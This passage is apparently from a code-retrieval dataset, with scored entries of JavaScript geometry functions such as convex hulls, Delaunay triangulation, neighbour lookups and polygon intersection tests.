var ccw = function (i1,i2,i3) {return (hull[i2][0] - hull[i1][0])*(hull[i3][1] - hull[i1][1]) - (hull[i2][1] - hull[i1][1])*(hull[i3][0] - hull[i1][0]);};\n // get the point with the lowest y-coordinate\n var start = hull.splice(hull.reduce(function(r,e,i){return (hull[r][1] > e[1] || (hull[r][1] === e[1] && hull[r][0] > e[0] )) ? i : r; }, 0), 1)[0];\n // sort by angle to starting point\n hull.forEach(function(e,i){var x = e[0]-start[0], y = e[1]-start[1]; hull[i]=[x,y,x*x + y*y].concat(e);});\n hull.sort(function(a,b){\n return (a[1]*b[0] - a[0]*b[1]) || (a[2] - b[2]);\n });\n start = [0,0,0].concat(start);\n // two beginning points are last and first ones\n var end = hull[hull.length-1].slice();\n hull.splice(0,0,end,start);\n // number of points in the convex hull\n var m = 1;\n for(var i = 2; i <= n; i++) {\n while (ccw(m-1,m,i) <= 0) { // Find next valid point on convex hull\n if (m > 1) {\n m--;\n } else if (i === n) { // All points are collinear\n break;\n } else {\n i++;\n }\n }\n m++;\n swap( m, i );\n }\n // second pass! --------------------------------------------------------------------------------\n if(m > 3) {\n hull.splice(0,1);\n hull.splice(m,n);\n n = m;\n // get the point with the highest y-coordinate\n start = hull.splice(hull.reduce(function(r,e,i){return (hull[r][1] < e[1] || (hull[r][1] === e[1] && hull[r][0] < e[0] )) ? i : r; }, 0), 1)[0];\n // sort by angle to starting point\n hull.forEach(function(e,i){var x = e[0]-start[0], y = e[1]-start[1]; hull[i]=[x,y,x*x + y*y].concat(e.slice(3));});\n hull.sort(function(a,b){\n return (a[1]*b[0] - a[0]*b[1]) || (a[2] - b[2]);\n });\n start[0] = 0; start[1] = 0; start[2] = 0;\n // two beginning points are last and first ones\n end = hull[hull.length-1].slice();\n hull.splice(0,0,end,start);\n m = 1;\n for(var i = 2; i <= n; i++) {\n while (ccw(m-1,m,i) <= 0) { // Find next valid point on convex hull\n if (m > 1) {\n m--;\n } else if (i === n) { // All points are collinear\n break;\n } else {\n i++;\n }\n }\n m++;\n swap( m, i );\n }\n }\n // end of second pass --------------------------------------------------------------------------\n return hull.slice(1,m+1).map(function(e){return e.slice(3);});\n}", "title": "" }, { "docid": "5ddac9d8cc5a67a72e190e8caaf55130", "score": "0.5300918", "text": "function findNeighborhood(points, p) {\n var removed, left, right, i, j, k;\n\n if ( _.isEmpty(points) ) return [null, null];\n\n j = p.i;\n removed = _.pluck(points, \"r\");\n\n left = _.first(removed, j);\n right = _.rest(removed, j + 1);\n\n i = _.lastIndexOf(left, false);\n k = _.indexOf(right, false);\n\n if ( k !== -1 ) k += j + 1;\n\n return [i === -1 ? null : points[i], k === -1 ? null : points[k]];\n}", "title": "" }, { "docid": "f04d14c5c8c8b346c074aa965b0a5f3f", "score": "0.51820576", "text": "function computeTriangulation(points, bound) {\r\n var minX = Number.MAX_VALUE;\r\n var minY = Number.MAX_VALUE;\r\n var maxX = 0;\r\n var maxY = 0;\r\n\r\n for (var i = 0; i < points.length; i++) {\r\n if (points[i].x < minX) minX = points[i].x;\r\n if (points[i].x > maxX) maxX = points[i].x;\r\n if (points[i].y < minY) minY = points[i].y;\r\n if (points[i].y > maxY) maxY = points[i].y;\r\n }\r\n\r\n var p1 = {x: minX, y: minY, z: 0};\r\n var p2 = {x: maxX + (maxY - minY), y: minY, z: 0};\r\n var p3 = {x: minX, y: maxY + (maxX - minX), z: 0};\r\n\r\n var isInPoints1 = 0;\r\n var isInPoints2 = 0;\r\n var isInPoints3 = 0;\r\n\r\n for (var i = 0; i < points.length; i++) {\r\n if (isEqual(points[i], p1)) isInPoints1 = 1;\r\n if (isEqual(points[i], p2)) isInPoints2 = 1;\r\n if (isEqual(points[i], p3)) isInPoints3 = 1;\r\n }\r\n\r\n if (isInPoints1 === 0) enclosingPoints[enclosingPoints.length] = p1;\r\n if (isInPoints2 === 0) enclosingPoints[enclosingPoints.length] = p2;\r\n if (isInPoints3 === 0) enclosingPoints[enclosingPoints.length] = p3;\r\n\r\n points[points.length] = p1;\r\n points[points.length] = p2;\r\n points[points.length] = p3;\r\n\r\n\r\n boundaries = bound;\r\n\r\n let vertices = [];\r\n let edges = [];\r\n let faces = [];\r\n let j = 0;\r\n\r\n //Define the enclosing triangle using DCEL structure\r\n\r\n for (let i = points.length - 3; i < points.length; i++) {\r\n vertices[j] = {x: points[i].x, y: points[i].y};\r\n edges[j] = {origin: vertices[j]};\r\n faces[0] = {edge: edges[0], children: [], parent: []};\r\n vertices[j].edge = edges[j];\r\n edges[j].face = faces[j];\r\n j += 1;\r\n }\r\n edges[0].next = edges[1];\r\n edges[0].previous = edges[2];\r\n edges[1].next = edges[2];\r\n edges[1].previous = edges[0];\r\n edges[2].next = edges[0];\r\n edges[2].previous = edges[1];\r\n\r\n //For every point in points define the triangles to which it belongs, and divide these triangles into three.\r\n for (let i = 0; i < points.length - 3; i++) {\r\n triangle = findTriangle(faces[0], points[i]);\r\n if ((triangle.length === 1) || (triangle.length === 2)) {\r\n var trianglesQueue = [];\r\n vertices[vertices.length] = {x: points[i].x, y: points[i].y, z: 0};\r\n v = vertices[vertices.length - 1];\r\n k = edges.length;\r\n\r\n for (let m = 0; m < triangle.length; m++) {\r\n v1 = triangle[m].edge.origin;\r\n v2 = triangle[m].edge.next.origin;\r\n v3 = triangle[m].edge.previous.origin;\r\n\r\n edges[k] = {origin: v1};\r\n edges[k + 1] = {origin: v2};\r\n edges[k + 2] = {origin: v};\r\n\r\n k += 3;\r\n\r\n edges[k] = {origin: v2};\r\n edges[k + 1] = {origin: v3};\r\n edges[k + 2] = {origin: v};\r\n\r\n k += 3;\r\n\r\n edges[k] = {origin: v3};\r\n edges[k + 1] = {origin: v1};\r\n edges[k + 2] = {origin: v};\r\n\r\n for (let j = k - 6; j <= k; j = j + 3) {\r\n v1.edge = edges[j];\r\n v2.edge = edges[j + 1];\r\n v.edge = edges[j + 2];\r\n\r\n edges[j].next = edges[j + 1];\r\n edges[j].previous = edges[j + 2];\r\n edges[j + 1].next = edges[j + 2];\r\n edges[j + 1].previous = edges[j];\r\n edges[j + 2].next = edges[j];\r\n edges[j + 2].previous = edges[j + 1];\r\n\r\n faces[faces.length] = {edge: edges[j], children: [], parent: [triangle[m]]};\r\n\r\n edges[j].face = faces[faces.length - 1];\r\n edges[j + 1].face = faces[faces.length - 1];\r\n edges[j + 2].face = faces[faces.length - 1];\r\n\r\n trianglesQueue.push(faces.length - 1);\r\n\r\n triangle[m].children[triangle[m].children.length] = faces[faces.length - 1];\r\n }\r\n }\r\n while (trianglesQueue.length !== 0) {\r\n var point1, point2, point3;\r\n var p = points[i];\r\n\r\n var index = trianglesQueue.pop();\r\n var currentTrianglePoints = getPoints(faces[index]);\r\n\r\n if (isEqual(currentTrianglePoints[0], p) === 1) {\r\n point1 = currentTrianglePoints[1];\r\n point2 = currentTrianglePoints[2];\r\n } else if (isEqual(currentTrianglePoints[1], p) === 1) {\r\n point1 = currentTrianglePoints[0];\r\n point2 = currentTrianglePoints[2];\r\n } else {\r\n point1 = currentTrianglePoints[0];\r\n point2 = currentTrianglePoints[1];\r\n }\r\n\r\n if (isLine(currentTrianglePoints) === 0) {\r\n for (var f = faces.length - 1; f > -1; f--) {\r\n if (faces[f] !== undefined) {\r\n var currentFacePoints = getPoints(faces[f]);\r\n if ((isAdjacent(p, point1, point2, currentFacePoints)) && (faces[f].children.length === 0)) {\r\n\r\n if (((isEqual(point1, currentFacePoints[0])) && (isEqual(point2, currentFacePoints[1]))) ||\r\n ((isEqual(point2, currentFacePoints[0])) && (isEqual(point1, currentFacePoints[1])))) point3 = currentFacePoints[2];\r\n\r\n else if (((isEqual(point1, currentFacePoints[2])) && (isEqual(point2, currentFacePoints[1]))) ||\r\n ((isEqual(point2, currentFacePoints[2])) && (isEqual(point1, currentFacePoints[1])))) point3 = currentFacePoints[0];\r\n\r\n else point3 = currentFacePoints[1];\r\n\r\n if (isInsideTheCircle(p, currentFacePoints)) {\r\n var parents = [faces[f], faces[index]];\r\n\r\n var k = edges.length;\r\n\r\n edges[k] = {origin: p};\r\n edges[k + 1] = {origin: point1};\r\n edges[k + 2] = {origin: point3};\r\n\r\n edges[k].next = edges[k + 1];\r\n edges[k].previous = edges[k + 2];\r\n edges[k + 1].next = edges[k + 2];\r\n edges[k + 1].previous = edges[k];\r\n edges[k + 2].next = edges[k];\r\n edges[k + 2].previous = edges[k + 1];\r\n\r\n faces[faces.length] = {edge: edges[k], children: [], parent: parents};\r\n\r\n edges[k].face = faces[faces.length - 1];\r\n edges[k + 1].face = faces[faces.length - 1];\r\n edges[k + 2].face = faces[faces.length - 1];\r\n\r\n k += 3;\r\n\r\n edges[k] = {origin: p};\r\n edges[k + 1] = {origin: point2};\r\n edges[k + 2] = {origin: point3};\r\n\r\n edges[k].next = edges[k + 1];\r\n edges[k].previous = edges[k + 2];\r\n edges[k + 1].next = edges[k + 2];\r\n edges[k + 1].previous = edges[k];\r\n edges[k + 2].next = edges[k];\r\n edges[k + 2].previous = edges[k + 1];\r\n\r\n faces[faces.length] = {edge: edges[k], children: [], parent: parents};\r\n\r\n edges[k].face = faces[faces.length - 1];\r\n edges[k + 1].face = faces[faces.length - 1];\r\n edges[k + 2].face = faces[faces.length - 1];\r\n\r\n faces[f].children[faces[f].children.length] = faces[faces.length - 1];\r\n faces[f].children[faces[f].children.length] = faces[faces.length - 2];\r\n faces[index].children[faces[index].children.length] = faces[faces.length - 1];\r\n faces[index].children[faces[index].children.length] = faces[faces.length - 2];\r\n\r\n trianglesQueue.push(faces.length - 1);\r\n trianglesQueue.push(faces.length - 2);\r\n }\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n let outputTriangles = [];\r\n\r\n //Check the output for degenerate triangles and return the correct output data.\r\n\r\n j = 0;\r\n for (let i = 0; i < faces.length; i++) {\r\n if (faces[i] !== undefined) {\r\n var threePoints = getPoints(faces[i]);\r\n if ((faces[i].children.length === 0) && (isLine(threePoints) === 0) && (isExterior(faces[i], points) === 0) && (isEnclosing(threePoints)) === 0) {\r\n outputTriangles[j] = threePoints;\r\n j++;\r\n }\r\n }\r\n }\r\n\r\n return outputTriangles;\r\n}", "title": "" }, { "docid": "c926ce5d75f7b057250cfd0425f7a8f5", "score": "0.51453847", "text": "function isPointArrayClockwise(points, out_result) {\n var convexHull = new graham_scan();\n var pointsInOrder = [];\n function add(endPoint) {\n convexHull.addPoint(endPoint[0], endPoint[1]);\n pointsInOrder.push(serializePoint(endPoint));\n }\n points.forEach(add);\n //we only need to deal with 3 points\n var hull = convexHull.getHull();\n var hullPoints = hull.slice(0, 3).map(function (p) { return serializePoint([p.x, p.y]); });\n var ordered = [];\n pointsInOrder.forEach(function (p) {\n if (~hullPoints.indexOf(p))\n ordered.push(p);\n });\n //now make sure endpoints of hull are endpoints of ordered. do this by managing the middle point\n switch (ordered.indexOf(hullPoints[1])) {\n case 0:\n //shift down\n ordered.unshift(ordered.pop());\n break;\n case 2:\n //shift up\n ordered.push(ordered.shift());\n break;\n }\n if (out_result) {\n out_result.hullPoints = hull.map(function (p) { return [p.x, p.y]; });\n out_result.keyPoints = points;\n }\n //the hull is counterclockwise, so the result is clockwise if the first elements do not match\n return hullPoints[0] != ordered[0];\n }", "title": "" }, { "docid": "9766ba35e566b38ecbeaa468ad237fed", "score": "0.50598574", "text": "getNeighbors(x, y) {\n const xPlus = x === this.size - 1 ? 0 : x + 1;\n const xMinus = x === 0 ? this.size - 1 : x - 1;\n const yPlus = y === this.size - 1 ? 0 : y + 1;\n const yMinus = y === 0 ? this.size - 1 : y - 1;\n return [\n [x, yMinus], // north\n [x, yPlus], // south\n [xPlus, y], // east\n [xMinus, y] // west\n ];\n }", "title": "" }, { "docid": "79c6997dcb5678e93c53f0137b58812a", "score": "0.5050834", "text": "function getNeighbors(x,y){\r\n\tif(x == size - 1 && y == size - 1){return [];}\r\n\tif(x == size - 1){return [[x,y+1]];}\r\n\tif(y == size - 1){return [[x+1,y]];}\r\n\r\n\treturn [[x+1,y],[x,y+1]];\r\n}", "title": "" }, { "docid": "e6d56d4b7bd5bb4159cb9259454e4834", "score": "0.5045982", "text": "function gm$resizeConvexHull(d, points) {\n 'use strict';\n var n = points.length;\n var s = gm$shoelace(points) <= 0 ? 1 : -1;\n var vecs = points.map(function(e,i){var v = minusJSVec(e,points[(i === 0 ? n : i) - 1]); var l = s/Math.hypot(v[0],v[1]);\n return [-v[1]*l,v[0]*l];});\n vecs.push(vecs[0]); // now vecs is an array of length (n+1), stores directions orthogonal to lines i and i-1 (cycled)\n return points.map(function(p,i) {\n var v = plusJSVec(vecs[i],vecs[i+1]);\n var xd = d*2/(v[0]*v[0] + v[1]*v[1]);\n return plusJSVec(p,[v[0]*xd,v[1]*xd]);\n });\n}", "title": "" }, { "docid": "957548a0e55c4e2f215a554cfdb4506b", "score": "0.5044505", "text": "function doThings(points) {\n // get closest\n closest = Array.from(points).sort((a, b) => a[0] > b[0] ? 1 : 0).sort((a, b) => a[1] > b[1] ? 1 : 0)[0]\n\n // from the closest, iterate through threshold. if we don't have it, kill\n for (var dx = closest[0]; dx < closest[0] + threshold; dx++) { // x then y, performance\n for (var dy = closest[1]; dy < closest[1] + threshold; dy++) {\n if (!points.has(tuple(dx, dy))) {\n // does not have\n points.forEach(function(point){\n if (point[1] == dy ||point[0] == dx) {\n points.delete(point);\n }\n });\n return -1 // todo: remove from set all from y\n }\n }\n }\n return closest;\n}", "title": "" }, { "docid": "bb8e615f5a88ccab721cb9bb66a51425", "score": "0.49835712", "text": "function boundPoints (points) {\n var bounds = new Array(points.length)\n for (var i = 0; i < points.length; ++i) {\n var p = points[i]\n bounds[i] = [\n nextafter(p[0], -Infinity),\n nextafter(p[1], -Infinity),\n nextafter(p[0], Infinity),\n nextafter(p[1], Infinity)\n ]\n }\n return bounds\n}", "title": "" }, { "docid": "4acfc80133afb27941b758e895154617", "score": "0.49512824", "text": "topPoints()\n {\n var points = [\n\n [-0.3, -0.3, 0, 1], //1\n [-0.5, -0.2, 0.4, 1], //2\n [-0.6, 0, 0.6, 1], //3\n [-0.5, 0.2, 0.4, 1], //4\n [-0.3, 0.3, 0, 1], //5\n\n [-0.2, -0.5, 0.4, 1], //6\n [-0.5, -0.8, 1.2, 1], //7\n [-0.7, 0, 2.2, 1], //8\n [-0.5, 0.8, 1.2, 1], //9\n [-0.2, 0.5, 0.4, 1], //10\n\n [0, -0.6, 0.6, 1], //11\n [0, -0.7, 2.2, 1], //12\n [0, 0, 2.5, 1], //13\n [0, 0.8, 2.2, 1], //14\n [0, 0.6, 0.6, 1], //15\n\n [0.2, -0.5, 0.4, 1], //16\n [0.5, -0.8, 1.2, 1], //17\n [0.7, 0, 2.2, 1], //18\n [0.5, 0.8, 1.2, 1], //19\n [0.2, 0.5, 0.4, 1], //20\n\n [0.3, -0.3, 0, 1], //21\n [0.5, -0.2, 0.5, 1], //22\n [0.6, 0, 0.6, 1], //23\n [0.5, 0.2, 0.4, 1], //24\n [0.3, 0.3, 0, 1] //25\n ];\n\n return points;\n }", "title": "" }, { "docid": "516f4213cd393a4db39ba71a6bf35900", "score": "0.49213228", "text": "function sol(points) {\n const n = points.length;\n const set = new Set();\n let MAX = 1;\n\n for (let i = 0; i < n; i++) {\n if (!set.has(`${points[i][0]} - ${points[i][1]}`)) {\n const a = points[i];\n const map = {};\n let max = 1;\n\n for (let j = i + 1; j < n; j++) {\n // check if duplicate\n if (isSame(a, points[j])) {\n max++;\n continue;\n }\n\n const slope = getSlope(a, points[j]);\n map[slope] ? map[slope]++ : (map[slope] = 2);\n max = Math.max(max, map[slope]);\n }\n\n set.add(`${a[0]} - ${a[1]}`);\n MAX = Math.max(MAX, max);\n }\n }\n\n return MAX;\n\n function isSame(a, b) {\n return a[1] === b[1] && a[0] === b[0];\n }\n\n function getSlope(a, b) {\n if (a[0] === b[0]) return Infinity;\n if (a[1] === b[1]) return 0;\n return (a[0] - b[0]) / (a[1] - b[1]);\n }\n}", "title": "" }, { "docid": "bf886390921d8519df11ecc3c3ef85c9", "score": "0.49190143", "text": "getNeighborsOf(x, y) {\n const neighbors = new Set();\n for (let i = -1; i <= 1; i++) {\n for (let j = -1; j <= 1; j++) {\n // skip the square itself\n if (i == 0 && j == 0) {\n continue;\n }\n\n if (\n x + i >= 0 &&\n x + i < this.width &&\n y + j >= 0 &&\n y + j < this.height\n ) {\n neighbors.add(this.boardElems[x + i][y + j]);\n }\n }\n }\n return neighbors;\n }", "title": "" }, { "docid": "106d225092b2b835a2a0dc3d01779f95", "score": "0.490867", "text": "async sHullTriangulation(set) {\n try {\n // Reset edges\n this.edges = []\n this.triangles = []\n\n for (let vertex of this.vertices) {\n vertex.removeAllTriangles()\n }\n\n let array = [...set]\n\n // Get any reference Point, it is not stated to be important which point declares the seed\n // Maybe choose mid most point for better runtime\n let referencePoint = array.splice(Math.floor(Math.random() * Math.floor(array.length)), 1)[0]\n\n // Sort the array by the distance from the reference point\n array = this.sortByDistanceFromPoint(referencePoint, array)\n\n // Pop the nearest point\n let nearestToReference = array.shift()\n\n // Find point that creates the smallest circumcircle with referencepoint and the nearest point to it\n let smallestCircumCirclePoint = this.smallestCircumCircle(referencePoint, nearestToReference, array)\n array = array.filter(item => item !== smallestCircumCirclePoint);\n let smallestCircleCenter = MathExtension.circumCircleCenter(referencePoint, nearestToReference, smallestCircumCirclePoint)\n\n // Initialize the convex hull\n let tmpSHull = [referencePoint, nearestToReference, smallestCircumCirclePoint]\n let tmpTriangle = new Triangle(referencePoint, nearestToReference, smallestCircumCirclePoint)\n this.triangles.push(tmpTriangle) // inital, starting triangle \n\n referencePoint.triangles.push(tmpTriangle)\n nearestToReference.triangles.push(tmpTriangle)\n smallestCircumCirclePoint.triangles.push(tmpTriangle)\n\n // Reort the remaining points according to |xi−C|^2to give points sis\n array = this.sortByDistanceFromPoint(smallestCircleCenter, array)\n\n // Connect initial triangle\n this.edges.push(new Edge(referencePoint, nearestToReference))\n this.edges.push(new Edge(referencePoint, smallestCircumCirclePoint))\n this.edges.push(new Edge(nearestToReference, smallestCircumCirclePoint))\n\n // Add to inital triangle the initial edgess\n tmpTriangle.edges.push(new Edge(referencePoint, nearestToReference))\n tmpTriangle.edges.push(new Edge(referencePoint, smallestCircumCirclePoint))\n tmpTriangle.edges.push(new Edge(nearestToReference, smallestCircumCirclePoint))\n // We must use a counter variable i and increment it only after the promise, which is adding the point to the current hull, is fulfilled\n let i = 0\n let size = array.length\n while (i < size) {\n let point = array.shift()\n // eslint-disable-next-line no-loop-func\n await this.addToSHull(point, tmpSHull, smallestCircleCenter).then((data) => {\n tmpSHull = data\n i++\n if (i === size) {\n // Now flip all edges\n this.flipEdges(this.triangles)\n }\n })\n }\n } catch (e) {\n window.alert(\"Push at least 3 points\")\n console.error(e)\n }\n }", "title": "" }, { "docid": "782aaf8a0fbf35e9e4e3b84241124715", "score": "0.489822", "text": "convertToIndexes(point)\n {\n var height = game.cache.getImage('board').height\n var zpoint = [[point[0], height - point[1]]]\n var shear = [[1, 0],\n [-0.75, 1]\n ]\n\n var result = game.multiplyMatrices(zpoint, shear)\n var row = Math.floor(point[1] / game.pieceHeight)\n var col = Math.floor(result[0][0] / game.pieceWidth)\n\n return [row, col]\n }", "title": "" }, { "docid": "5c95bbe726466a331f13209fbc9f3354", "score": "0.48959228", "text": "pointIntersection(x, y) {\n // Check if point in polygon. Since all polygons of a Voronoi\n // diagram are convex, then:\n // http://paulbourke.net/geometry/polygonmesh/\n // Solution 3 (2D):\n // \"If the polygon is convex then one can consider the polygon\n // \"as a 'path' from the first vertex. A point is on the interior\n // \"of this polygons if it is always on the same side of all the\n // \"line segments making up the path. ...\n // \"(y - y0) (x1 - x0) - (x - x0) (y1 - y0)\n // \"if it is less than 0 then P is to the right of the line segment,\n // \"if greater than 0 it is to the left, if equal to 0 then it lies\n // \"on the line segment\"\n const { halfedges } = this;\n let iHalfedge = halfedges.length;\n let halfedge;\n let p0;\n let p1;\n let r;\n while (iHalfedge--) {\n halfedge = halfedges[iHalfedge];\n p0 = halfedge.getStartpoint();\n p1 = halfedge.getEndpoint();\n r = (y - p0.y) * (p1.x - p0.x) - (x - p0.x) * (p1.y - p0.y);\n if (!r) {\n return 0;\n }\n if (r > 0) {\n return -1;\n }\n }\n return 1;\n }", "title": "" }, { "docid": "29f410878462e6f0bcbeecc8cc9be17c", "score": "0.48759326", "text": "makePolygon(points) {\n\t\tif (!Array.isArray(points) || points.length < 1) {\n\t\t\tchao.log(\"makePolygon: points param is not an array or has no elements. :(\");\n\t\t\treturn;\n\t\t}\n\n\t\tvar i;\n\n\t\tif (typeof points[0] != \"object\") {\n\t\t\tvar newPoints = [];\n\t\t\tfor (i = 0; i < points.length / 2; ++i) {\n\t\t\t\tnewPoints.push({\n\t\t\t\t\tx: points[i * 2],\n\t\t\t\t\ty: points[i * 2 + 1]\n\t\t\t\t});\n\t\t\t}\n\t\t\tpoints = newPoints;\n\t\t}\n\n\t\tvar left = Number.MAX_VALUE;\n\t\tvar right = -Number.MAX_VALUE;\n\t\tvar top = Number.MAX_VALUE;\n\t\tvar bottom = -Number.MAX_VALUE;\n\n\t\tfor (i = 0; i < points.length; ++i) {\n\t\t\tif (points[i].x < left) left = points[i].x;\n\t\t\tif (points[i].x > right) right = points[i].x;\n\t\t\tif (points[i].y < top) top = points[i].y;\n\t\t\tif (points[i].y > bottom) bottom = points[i].y;\n\t\t}\n\n\t\treturn {\n\t\t\tpoints: points,\n\t\t\tleft: left,\n\t\t\tright: right,\n\t\t\ttop: top,\n\t\t\tbottom: bottom,\n\n\t\t\tintersects(otherPoly) {\n\t\t\t\tvar polys = [this, otherPoly];\n\t\t\t\tvar i1, pi, point, projected;\n\t\t\t\tfor (var i = 0; i < polys.length; ++i) {\n\t\t\t\t\tvar polygon = polys[i];\n\n\t\t\t\t\tfor (i1 = 0; i1 < polygon.points.length; i1++) {\n\t\t\t\t\t\tvar i2 = (i1 + 1) % polygon.points.length;\n\t\t\t\t\t\tvar p1 = polygon.points[i1];\n\t\t\t\t\t\tvar p2 = polygon.points[i2];\n\n\t\t\t\t\t\tvar normal = chao.makeVector2(p2.y - p1.y, p1.x - p2.x);\n\n\t\t\t\t\t\tvar minA = null,\n\t\t\t\t\t\t\tmaxA = null;\n\t\t\t\t\t\tfor (pi = 0; pi < this.points.length; ++pi) {\n\t\t\t\t\t\t\tpoint = this.points[pi];\n\t\t\t\t\t\t\tprojected = normal.x * point.x + normal.y * point.y;\n\t\t\t\t\t\t\tif (minA === null || projected < minA)\n\t\t\t\t\t\t\t\tminA = projected;\n\t\t\t\t\t\t\tif (maxA === null || projected > maxA)\n\t\t\t\t\t\t\t\tmaxA = projected;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tvar minB = null,\n\t\t\t\t\t\t\tmaxB = null;\n\t\t\t\t\t\tfor (pi = 0; pi < otherPoly.points.length; ++pi) {\n\t\t\t\t\t\t\tpoint = otherPoly.points[pi];\n\t\t\t\t\t\t\tprojected = normal.x * point.x + normal.y * point.y;\n\t\t\t\t\t\t\tif (minB === null || projected < minB)\n\t\t\t\t\t\t\t\tminB = projected;\n\t\t\t\t\t\t\tif (maxB === null || projected > maxB)\n\t\t\t\t\t\t\t\tmaxB = projected;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (maxA < minB || maxB < minA)\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn true;\n\t\t\t},\n\n\t\t\tisPointInside(point) {\n\t\t\t\tif (point.x < this.left || point.x > this.right || point.y < this.top || point.y > this.bottom) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tvar intersections = 0;\n\t\t\t\tvar raycastOrigin = {\n\t\t\t\t\tx: this.left - 1,\n\t\t\t\t\ty: point.y\n\t\t\t\t};\n\t\t\t\tvar pointsNum = this.points.length;\n\t\t\t\tvar polyLineA;\n\t\t\t\tvar polyLineB;\n\n\t\t\t\tfor (var i = 0; i < pointsNum; ++i) {\n\t\t\t\t\tpolyLineA = this.points[i];\n\t\t\t\t\tpolyLineB = i === 0 ? this.points[pointsNum - 1] : this.points[i - 1];\n\n\t\t\t\t\tif (chao.getLinesIntersection(raycastOrigin, point, polyLineA, polyLineB) !== false) {\n\t\t\t\t\t\tintersections++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn intersections & 1 == 1;\n\t\t\t},\n\n\n\t\t};\n\t}", "title": "" }, { "docid": "fdf1356568c5549190ae0e72b2e6fb70", "score": "0.48739442", "text": "function PartialHull(a, b, idx, lowerIds, upperIds) {\n this.a = a\n this.b = b\n this.idx = idx\n this.lowerIds = lowerIds\n this.upperIds = upperIds\n}", "title": "" }, { "docid": "fdf1356568c5549190ae0e72b2e6fb70", "score": "0.48739442", "text": "function PartialHull(a, b, idx, lowerIds, upperIds) {\n this.a = a\n this.b = b\n this.idx = idx\n this.lowerIds = lowerIds\n this.upperIds = upperIds\n}", "title": "" }, { "docid": "3c7ec0d97199f75c956330a4a7e0c361", "score": "0.48652768", "text": "aliveNeigbours(array, x, y) {\n\t\t\tlet preRow = array[y-1] || [];\n\t\t\tlet nextRow = array[y+1] || [];\n\t\t\tlet curRow = array[y];\n\n\t\t\treturn [\n\t\t\t\tpreRow[x-1], preRow[x], preRow[x+1],\n\t\t\t\tcurRow[x-1], curRow[x+1],\n\t\t\t\tnextRow[x-1], nextRow[x], nextRow[x+1]\n\t\t\t].reduce((prev, cur) => {\n\t\t\t\treturn prev + +!!cur;\n\t\t\t}, 0)\n\t\t}", "title": "" }, { "docid": "5b6f60ffc7896c65e79438b22c144799", "score": "0.48395848", "text": "function sortCounterclockwise(circle_points) {\r\n var vector12 = {x: circle_points[1].x - circle_points[0].x, y: circle_points[1].y - circle_points[0].y};\r\n var vector13 = {x: circle_points[2].x - circle_points[0].x, y: circle_points[2].y - circle_points[0].y};\r\n\r\n var det = vector12.x * vector13.y - vector12.y * vector13.x;\r\n\r\n if (det < 0) {\r\n var point = circle_points[0];\r\n circle_points[0] = circle_points[2];\r\n circle_points[2] = point;\r\n }\r\n\r\n return circle_points;\r\n}", "title": "" }, { "docid": "cc8da252cad91aff8848016ca9834529", "score": "0.48305008", "text": "function solve(arr) {\n let lowPoints = [];\n for (let i = 0; i < arr.length; i++) {\n for (let j = 0; j < arr[i].length; j++) {\n let val = arr[i][j];\n let up = i - 1 < 0 ? Number.MAX_SAFE_INTEGER : arr[i - 1][j];\n let down = i + 1 >= arr.length ? Number.MAX_SAFE_INTEGER : arr[i + 1][j];\n let left = j - 1 < 0 ? Number.MAX_SAFE_INTEGER : arr[i][j - 1];\n let right = j + 1 >= arr[i].length ? Number.MAX_SAFE_INTEGER : arr[i][j + 1];\n if (val < up && val < down && val < left && val < right) {\n lowPoints.push(val);\n }\n }\n }\n // console.log(lowPoints);\n return lowPoints.reduce((a, b) => Number(a) + Number(b), 0) + lowPoints.length;\n}", "title": "" }, { "docid": "584c05cf2b67284f0fe837618c0a5b83", "score": "0.4823796", "text": "function integerRightTriangles(){\n var powers = [];\n for(var i = 0; i < 501; i++){\n powers.push(Math.pow(i, 2));\n }\n var numOfTriangles = new Array(1001);\n numOfTriangles.fill(0);\n var a, b, c;\n for(c = 5; c < 501; c++){\n for(b = c -1; b > 0; b--){\n for(a = b-1; a > 0; a--){\n if(powers[c] === (powers[b] + powers[a])){\n if(c+b+a < 1001){\n numOfTriangles[c+b+a]++;\n break;\n }\n }\n }\n }\n }\n return numOfTriangles.indexOf(Math.max(...numOfTriangles));\n}", "title": "" }, { "docid": "3f31ff15b13c64e362354d4dd5b8b03e", "score": "0.48203272", "text": "getAdjacentFloorsToWall(x, y) {\n var tiles = [];\n if (this.isWall(x, y)) {\n for (let p of this.getAdjacentCells(new core_1.Position(x, y))) {\n if (!this.isWall(p.x, p.y))\n tiles.push(p);\n }\n }\n return tiles;\n }", "title": "" }, { "docid": "31a96509b730cd0cda3b73d8dd5222f0", "score": "0.48190057", "text": "function simplifyPolygon(points) {\n\t\tif (points.length < 4) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar slices = [];\n\t\tvar bestSlice = null;\n\t\tvar addPoint = null;\n\t\tfunction updateBestSlice(begin, end, intersection) {\n\t\t\tif (!bestSlice) {\n\t\t\t\t// First slice, so it's the best slice so far\n\t\t\t\tbestSlice = [begin, end];\n\t\t\t\taddPoint = intersection;\n\t\t\t} else {\n\t\t\t\t// Check if this slice overlaps a known intersecting slice\n\t\t\t\tvar overlaps = false;\n\t\t\t\tfor (var i = 0; i < slices.length; ++i) {\n\t\t\t\t\tif (begin <= slices[i][1] && slices[i][0] <= end) {\n\t\t\t\t\t\toverlaps = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (!overlaps && (end - begin) > bestSlice[1] - bestSlice[0]) {\n\t\t\t\t\t/* Does not contain a subslice with an intersection, and\n\t\t\t\t\t contains more points than the best slice, so this is our\n\t\t\t\t\t new best slice. Using actual distance rather than\n\t\t\t\t\t number of points may make more sense here, but this\n\t\t\t\t\t seems to work well and is much less expensive. */\n\t\t\t\t\tbestSlice = [begin, end];\n\t\t\t\t\taddPoint = intersection;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to slices list for overlap checking next time around\n\t\t\tslices.push([begin, end]);\n\t\t}\n\n\t\tfor (var i = 0; i < points.length - 3; ++i) {\n\t\t\tvar p0 = points[i];\n\t\t\tvar p1 = points[i + 1];\n\n\t\t\tvar foundIntersection = false;\n\t\t\tfor (var j = i + 2; j < points.length - 1 && !foundIntersection; ++j) {\n\t\t\t\tvar p2 